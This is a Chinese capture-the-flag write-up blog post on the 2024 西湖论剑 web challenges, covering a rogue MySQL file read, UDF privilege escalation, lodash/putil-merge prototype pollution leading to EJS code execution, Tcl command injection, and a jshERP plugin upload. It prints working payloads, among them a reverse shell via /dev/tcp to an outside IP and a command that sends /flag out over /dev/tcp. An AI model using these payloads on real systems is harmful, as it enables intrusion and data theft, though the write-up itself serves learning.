2024西湖论剑

2024西湖论剑

前言

有一道misc取证服了,最后一个小时以为我能搞出来,结果各个地方到处卡壳,甚至到了最后一步也卡住,幸好队友最后也解了出来。。。

寄,还得是unknown和23级大佬们带飞,可惜排名不高

这次看看web部分和数据安全部分的phpems

only_sql

唉,对php连接数据库不熟悉,我只知道jdbc连接存在任意文件读取,没想到php也可以

还得是unknown,我是菜狗

image-20240211033429032

连接上后可以执行任意命令

image-20240211033513375

我们可以vps搭建好后,连接我们vps的数据库

然后使用LOAD DATA INFILE语法读取本地文件

不过还是使用工具搭建恶意服务端读取任意文件方便

没什么能读的,那就读取query.php文件内容咯

<?php
error_reporting(0);
// mine
// $db_host = '127.0.0.1';
// $db_username = 'root';
// $db_password = '1q2w3e4r5t!@#';
// $db_name = 'mysql';

$db_host = $_POST["db_host"];
$db_username = $_POST["db_username"];
$db_password = $_POST["db_password"];
$db_name = $_POST["db_name"];
if(isset($db_host)){
    try {
        $dsn = "mysql:host=$db_host;dbname=$db_name";
        $pdo = new PDO($dsn, $db_username, $db_password);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $_SESSION['dsn']=$dsn;
        $_SESSION['db_username']=$db_username;
        $_SESSION['db_password']=$db_password;
    } catch (Exception $e) {
       die($e->getMessage());
    }
}
if(!isset($_SESSION['dsn'])){
    die("<script>alert('请先连接数据库');window.location.href='index.php'</script>");
}


?>

发现题目本地数据库的账号和密码

连接,然后正常查询表,发现secret数据库下有个flag表

flag

DASCTF{3386201718692

Try to become ROOT

那提权第一想法就是udf提权

show variables like '%priv%'

Variable_name  Value
automatic_sp_privileges  ON
secure_file_priv
sha256_password_private_key_path  private_key.pem

show variables like '%plugin%'

Variable_name
Valuedefault_authentication_plugin
mysql_native_password
plugin_dir  /usr/lib/mysql/p1ugin/
SELECT <udf.so的十六进制> INTO DUMPFILE '/usr/lib/mysql/p1ugin/udf.so';

image-20240211034310590

Easyjs

这题前半段顺了,但是unknown中间卡在了原型链污染上

我其实是想到了destructuredLocals的,但是当时unknown认为靠文件上传和改名覆盖掉模板文件就行,所以我去做misc去了

robots.txt

User-agent: *
Disallow: /
Disallow: /index
Disallow: /upload
Disallow: /rename
Disallow: /file
Disallow: /list

上传任意一个文件,然后改名为../../../../../../../../../etc/passwd(会显示改名失败,因为匹配到了..,但实际上改名成功了

image-20240211043127361

然后根据uuid去读,就能读到passwd。同理,读cmdline,得知源码在/app/index.js

思路真好,或者是本就是这个思路但是我太蠢了

var express = require('express');
const fs = require('fs');
var _= require('lodash');
var bodyParser = require("body-parser");
const cookieParser = require('cookie-parser');
var ejs = require('ejs');
var path = require('path');
const putil_merge = require("putil-merge")
const fileUpload = require('express-fileupload');
const { v4: uuidv4 } = require('uuid');
const {value} = require("lodash/seq");
var app = express();
// 将文件信息存储到全局字典中
global.fileDictionary = global.fileDictionary || {};

app.use(fileUpload());
// 使用 body-parser 处理 POST 请求的数据
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
// 设置模板的位置
app.set('views', path.join(__dirname, 'views'));
// 设置模板引擎
app.set('view engine', 'ejs');
// 静态文件(CSS)目录
app.use(express.static(path.join(__dirname, 'public')))

app.get('/', (req, res) => {
    res.render('index');
});

app.get('/index', (req, res) => {

    res.render('index');
});
app.get('/upload', (req, res) => {
    //显示上传页面
    res.render('upload');
});

app.post('/upload', (req, res) => {
    const file = req.files.file;
    const uniqueFileName = uuidv4();
    const destinationPath = path.join(__dirname, 'uploads', file.name);
    // 将文件写入 uploads 目录
    fs.writeFileSync(destinationPath, file.data);
    global.fileDictionary[uniqueFileName] = file.name;
    res.send(uniqueFileName);
});


app.get('/list', (req, res) => {
    // const keys = Object.keys(global.fileDictionary);
    res.send(global.fileDictionary);
});
app.get('/file', (req, res) => {
    if(req.query.uniqueFileName){
        uniqueFileName = req.query.uniqueFileName
        filName = global.fileDictionary[uniqueFileName]

        if(filName){
            try{
                res.send(fs.readFileSync(__dirname+"/uploads/"+filName).toString())
            }catch (error){
                res.send("文件不存在!");
            }

        }else{
            res.send("文件不存在!");
        }
    }else{
        res.render('file')
    }
});


app.get('/rename',(req,res)=>{
    res.render("rename")
});
app.post('/rename', (req, res) => {
    if (req.body.oldFileName && req.body.newFileName && req.body.uuid){
        oldFileName = req.body.oldFileName
        newFileName = req.body.newFileName
        uuid = req.body.uuid
        if (waf(oldFileName)  && waf(newFileName) &&  waf(uuid)){
            uniqueFileName = findKeyByValue(global.fileDictionary,oldFileName)
            console.log(typeof uuid);
            if (uniqueFileName == uuid){
                putil_merge(global.fileDictionary,{[uuid]:newFileName},{deep:true})
                if(newFileName.includes('..')){
                    res.send('文件重命名失败!!!');
                }else{
                    fs.rename(__dirname+"/uploads/"+oldFileName, __dirname+"/uploads/"+newFileName, (err) => {
                        if (err) {
                            res.send('文件重命名失败!');
                        } else {
                            res.send('文件重命名成功!');
                        }
                    });
                }
            }else{
                res.send('文件重命名失败!');
            }

        }else{
            res.send('哒咩哒咩!');
        }

    }else{
        res.send('文件重命名失败!');
    }
});
function findKeyByValue(obj, targetValue) {
    for (const key in obj) {
        if (obj.hasOwnProperty(key) && obj[key] === targetValue) {
            return key;
        }
    }
    return null; // 如果未找到匹配的键名,返回null或其他标识
}
function waf(data) {
            data = JSON.stringify(data)
            if (data.includes('outputFunctionName') || data.includes('escape') || data.includes('delimiter') || data.includes('localsName')) {
                return false;
            }else{
                return true;
            }
}
//设置http
var server = app.listen(8888,function () {
    var port = server.address().port
    console.log("http://127.0.0.1:%s", port)
});

/app/package.json

{
  "dependencies": {
    "cookie-parser": "^1.4.6",
    "ejs": "^3.1.5",
    "express": "^4.18.2",
    "express-fileupload": "^1.4.3",
    "jsonwebtoken": "^9.0.2",
    "lodash": "^4.17.4",
    "multer": "^1.4.5-lts.1",
    "putil-merge": "^3.6.0",
    "rpc": "^3.3.3",
    "sqlite3": "^5.1.7-rc.0",
    "uuid": "^9.0.1"
  }
}

很容易找出putil_merge有原型链污染 https://security.snyk.io/vuln/SNYK-JS-PUTILMERGE-2391487

以及ejs结合原型链污染的rce漏洞

利用 /rename路由的putil_merge(global.fileDictionary,{[uuid]:newFileName},{deep:true})

进行原型链污染配合ejs的rce

但waf函数中禁用了关键字

function waf(data) {
        data = JSON.stringify(data)
        if (data.includes('outputFunctionName') || data.includes('escape') || data.includes('delimiter') || data.includes('localsName')) {
            return false;
        }else{
            return true;
        }
}

outputFunctionNameescapeFunctionlocalsName 均无法使用

但还剩下个destructuredLocals

我想到了,但是并不会利用,于是也没有尝试

赛后看WP看到这篇文章

https://github.com/mde/ejs/issues/730

POST /rename HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 255
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Content-Type: application/json
Accept: */*
Origin: http://1.14.108.193:31999
Referer: http://1.14.108.193:31999/rename
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1706580051; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1706580051; JSESSIONID=4BA66C9FC58B7115625D0C036F9FACC1; PHPSESSID=jeopbml5j07ck0pd7nlfq23nok
Connection: close

{"oldFileName":"1.js","newFileName":{"__proto__":{"destructuredLocals":["__line=__line;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/8.130.24.188/7775 <&1\"');//"]}
},"uuid":"7e7f57fd-b62e-4285-bc72-f63a19304960"}

image-20240211040504553

最后只需要cp提权即可

unknown的思路

上传文件加改名,覆盖index.ejs文件

他们想到了用数组绕过检查..

image-20240211042816504

但其实我不太理解下面这里

image-20240211042901977

image-20240211042929582

?一个失败,一个成功?

反正最后这种方法测试后发现不行,估计是views没有写权限。

ezinject

队里就有人扫了一下发现.git泄露,然后就没后续了,导致现在连jar包都没有

image-20240211043747668

image-20240211043800209

拿到cookie即可访问exec执行命令

同理,用/exec;.js这样的形式去访问

image-20240215231412195

#!/usr/bin/tclsh

set password [lindex $argv 0]
set host [lindex $argv 1]
set port [lindex $argv 2]
set dir [lindex $argv 3]
puts $argv
eval spawn ssh -p $port $host test -d $dir && echo exists
expect "*(yes/no*)?*$" { send "yes\n" }
set timeout 600
expect "*assword:*$" { send "$password\n" } \
timeout { exit 1 }
set timeout -1
expect "\\$ $"

我们需要控制host以及dir来执行命令外带flag,并且命令不能包含空格,否则会被Runtime.exec分割成参数,这里使用echo配和bash来外带flag

POST /exec;.css HTTP/1.1
Host: 1.14.108.193:30024
Cookie: JSESSIONID=345313310B2A5657F15FE494DE09BDB1; 
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

command=echo [system '`cat</flag>/dev/tcp/8.134.146.39/6666`'|bash]

拼接到命令行中就变成了:

eval spawn ssh -p [system echo test -d '`cat</flag>/dev/tcp/8.134.146.39/6666`'|bash]

之前写的没保存,现在随便写点吧,自己的图没了

image-20240215231714189

这里

[system echo test -d '`cat</flag>/dev/tcp/8.134.146.39/6666`'|bash]

[]在tcl中可以提前处理

Boogipop大佬做法

\t代替空格。。。看不懂

image-20240215232103528

ezerp

华夏erp 最新版3.3

大佬们都发现了安装插件处存在问题,并且依赖中能找到插件源码

image-20240215232717356

联系之前的wordpress,本身很少洞,靠的是第三方主题和插件,以后遇到最新版也往这方面想

已有漏洞

文件上传 https://github.com/jishenghua/jshERP/issues/99

前台权限绕过 https://github.com/jishenghua/jshERP/issues/98

image-20240215232548198

登录然后上传插件

这里插件jar包要根据源码构造

具体调试和构造可以看微信公众平台 (qq.com)

真的太强了

这里可以直接用Boogipop大佬找到的项目

springboot插件式开发框架: 该框架主要是集成于springboot项目,在springboot项目中集成可扩展式的插件开发。 - Gitee.com

改一下内容就行

image-20240215233041729

这里构造完jar包后,题目给了提示说没有plugins目录

可以用上面的文件上传漏洞,会递归创建目录

https://github.com/jishenghua/jshERP/issues/99

在application.properties中可以看到定义的插件目录

image-20240215233349173

image-20240215233404137

总结一句话就是不会。。。

数据安全 phpems

2024西湖论剑-数据安全-PHPEMS (qq.com)

给个链接,先看着,后来再自己跟着走下


2024西湖论剑
https://zer0peach.github.io/2024/02/04/2024西湖论剑/
作者
Zer0peach
发布于
2024年2月4日
许可协议